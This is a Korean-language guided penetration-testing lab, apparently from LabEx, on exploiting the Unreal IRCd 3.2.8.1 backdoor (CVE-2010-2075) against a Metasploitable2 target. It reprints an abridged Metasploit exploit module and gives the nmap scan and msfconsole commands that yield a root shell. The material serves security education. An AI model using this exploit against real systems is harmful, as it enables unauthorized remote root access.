Nmap 및 Metasploit 를 이용한 Unreal IRCd 취약점 익스플로잇

NmapBeginner
지금 연습하기

소개

이 랩에서는 LabEx 플랫폼에서 호스팅되는 Metasploitable2 대상 머신에서 Unreal IRCd 서비스를 악용하는 방법을 배웁니다. 먼저 Unreal IRCd 서비스의 취약점에 대한 이해를 시작한 다음 Nmap 을 사용하여 취약점 스캔을 수행합니다. 취약한 서비스를 식별한 후 Metasploit 프레임워크를 활용하여 취약점을 악용하고 대상 머신에서 원격 셸을 얻습니다. 마지막으로, 손상된 시스템에서 명령을 실행하여 성공적인 악용을 검증합니다.

이것은 가이드 실험입니다. 학습과 실습을 돕기 위한 단계별 지침을 제공합니다.각 단계를 완료하고 실무 경험을 쌓기 위해 지침을 주의 깊게 따르세요. 과거 데이터에 따르면, 이것은 초급 레벨의 실험이며 완료율은 100%입니다.학습자들로부터 83%의 긍정적인 리뷰율을 받았습니다.

Unreal IRCd 취약점 이해 및 실험 환경 시작

Unreal IRCd 3.2.8.1 버전에는 원격 공격자가 영향을 받는 시스템에서 임의 코드를 실행할 수 있도록 하는 백도어 취약점 (CVE-2010-2075) 이 포함되어 있습니다. 이 취약점은 공격자가 악용할 수 있는 외부 악성 코드를 포함하는 DEBUG3_DOLOG_SYSTEM 매크로에 존재합니다.

관련 정보:

이 취약점을 악용하기 위한 Metasploit 모듈:

Metasploit 모듈에 대한 간략한 개요는 다음과 같습니다.

## Require necessary modules
require 'msf/core'

## Define the Metasploit module class
class MetasploitModule < Msf::Exploit::Remote
  ## Module initialization with details like name, description, author, references, etc.
  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'UnrealIRCD 3.2.8.1 Backdoor Command Execution',
      'Description'    => %q{
          This module exploits a malicious backdoor that was added to the
        Unreal IRCD 3.2.8.1 download archive. This backdoor was present in the
        Unreal3.2.8.1.tar.gz archive between November 2009 and June 12th 2010.
      },
      ## ... (omitted for brevity)
    ))

    ## Set default options
    register_options(
      [
        Opt::RPORT(6667)
      ], self.class)
  end

  ## Exploit method
  def exploit
    ## Connect to the remote service
    connect

    ## Print banner information
    print_status("Connected to #{rhost}:#{rport}...")
    banner = sock.get_once(-1, 30)
    banner.to_s.split("\n").each do |line|
      print_line("    #{line}")
    end

    ## Send the backdoor command
    print_status("Sending backdoor command...")
    sock.put("AB;" + payload.encoded + "\n")

    ## Wait for session creation or timeout
    1.upto(120) do
      break if session_created?
      select(nil, nil, nil, 0.25)
      handler()
    end
    disconnect
  end
end

이제 실험을 위해 공격 머신 (Kali Linux 컨테이너) 과 대상 머신 (Metasploitable2 가상 머신) 을 시작합니다.

  1. LabEx 호스트 머신에서 xfce 터미널을 열고 다음 명령을 실행하여 Metasploitable2 대상을 시작합니다.
sudo virsh start Metasploitable2

대상 머신이 시작될 때까지 기다립니다. 1~3 분 정도 걸릴 수 있습니다.

  1. 대상 머신에 대한 연결을 ping 하여 테스트합니다.
ping 192.168.122.102

Ctrl+C를 눌러 ping 을 중지합니다.

  1. Kali Linux 컨테이너를 시작하고 다음을 실행하여 bash 환경에 들어갑니다.
docker run -ti --network host b5b709a49cd5 bash
  1. Kali 컨테이너 내부에서 대상 머신에 대한 네트워크 연결을 테스트합니다.
ping 192.168.122.102

Ctrl+C를 눌러 ping 을 중지합니다.

이제 공격 머신과 대상 머신이 모두 실행 중이며 침투 테스트를 시작할 수 있습니다.

참고: 실수로 현재 bash 를 종료하면 Kali 컨테이너가 자동으로 중지됩니다. 호스트에서 docker run -ti --network host b5b709a49cd5 bash를 다시 실행하여 새 Kali 컨테이너를 시작하고 bash 에 들어가 실험을 계속할 수 있습니다.

취약점 스캔 수행

이 단계에서는 대상 머신에서 취약점 스캔을 수행하여 열린 포트와 해당 포트에서 실행 중인 서비스를 식별합니다. 이를 위해 강력한 Nmap(Network Mapper) 도구를 사용합니다.

  1. Kali Linux 컨테이너에서 Metasploit 콘솔을 시작합니다.
cd ~
msfconsole
  1. Metasploit 콘솔 내에서 nmap 명령을 사용하여 대상 머신을 스캔합니다.
nmap -sV -T4 192.168.122.102

-sV 옵션은 열린 포트에 대한 버전 감지를 활성화하고, -T4는 타이밍 정책을 공격적인 수준 (1-5, 높을수록 빠름) 으로 설정합니다.

출력 결과는 unreal ircd 서비스가 실행 중인 열린 포트 6667을 표시해야 합니다.

Metasploit 콘솔을 종료하려면 Ctrl+D 를 누른 다음 검사를 시작합니다.

Unreal IRCd 취약점 익스플로잇

이제 포트 6667 에서 실행 중인 취약한 Unreal IRCd 서비스를 식별했으므로 Metasploit 프레임워크를 사용하여 이를 악용하는 작업을 진행할 수 있습니다.

  1. 먼저, Metasploit 콘솔에 있지 않은 경우 Metasploit 콘솔을 시작해야 합니다.
cd ~
msfconsole
  1. Metasploit 콘솔에서 unreal_ircd_3281_backdoor 모듈을 검색합니다.
search unreal_ircd_3281_backdoor
  1. 모듈을 로드합니다.
use exploit/unix/irc/unreal_ircd_3281_backdoor
  1. 대상 호스트를 설정합니다.
set RHOST 192.168.122.102
  1. 익스플로잇을 실행합니다.
exploit

익스플로잇이 성공하면 대상 머신에서 원격 셸을 얻을 수 있습니다.

Metasploit 콘솔을 종료하려면 Ctrl+D 를 누른 다음 검사를 시작합니다.

익스플로잇 검증

익스플로잇이 성공했는지 확인하기 위해 이전 단계에서 얻은 원격 셸에서 명령을 실행할 수 있습니다.

  1. 먼저, Metasploit 콘솔에 있지 않은 경우 Metasploit 콘솔을 시작해야 합니다.
cd ~
msfconsole
  1. whoami 명령으로 현재 사용자를 확인합니다.
whoami
  1. hostname 명령으로 호스트 이름을 확인합니다.
hostname
  1. ifconfig 명령으로 IP 주소를 확인합니다.
ifconfig

출력 결과가 현재 사용자로 root, 호스트 이름으로 metasploitable, IP 주소가 대상 머신 (192.168.122.102) 과 일치하는 경우, 익스플로잇이 성공했음을 확인하며 대상 시스템에 대한 완전한 제어 권한을 얻은 것입니다.

Metasploit 콘솔을 종료하려면 Ctrl+D 를 누른 다음 검사를 시작합니다.

요약

이 랩에서는 Unreal IRCd 취약점에 대해 배우고 Metasploit 프레임워크를 사용하여 이를 악용하는 방법을 배웠습니다. 먼저 취약점과 그 영향을 이해하는 것으로 시작하여 취약한 서비스를 식별하기 위해 취약점 스캔을 수행했습니다. 포트 6667 에서 실행 중인 Unreal IRCd 서비스를 찾은 후, 적절한 Metasploit 모듈을 사용하여 취약점을 악용하고 대상 머신에 대한 원격 액세스 권한을 얻었습니다. 마지막으로, 손상된 시스템에서 명령을 실행하여 성공적인 익스플로잇을 검증했습니다. 이 랩은 윤리적 해커와 사이버 보안 전문가에게 필수적인 기술인 취약점 분석, 익스플로잇, 그리고 익스플로잇 후 유효성 검사에 대한 실질적인 경험을 제공했습니다.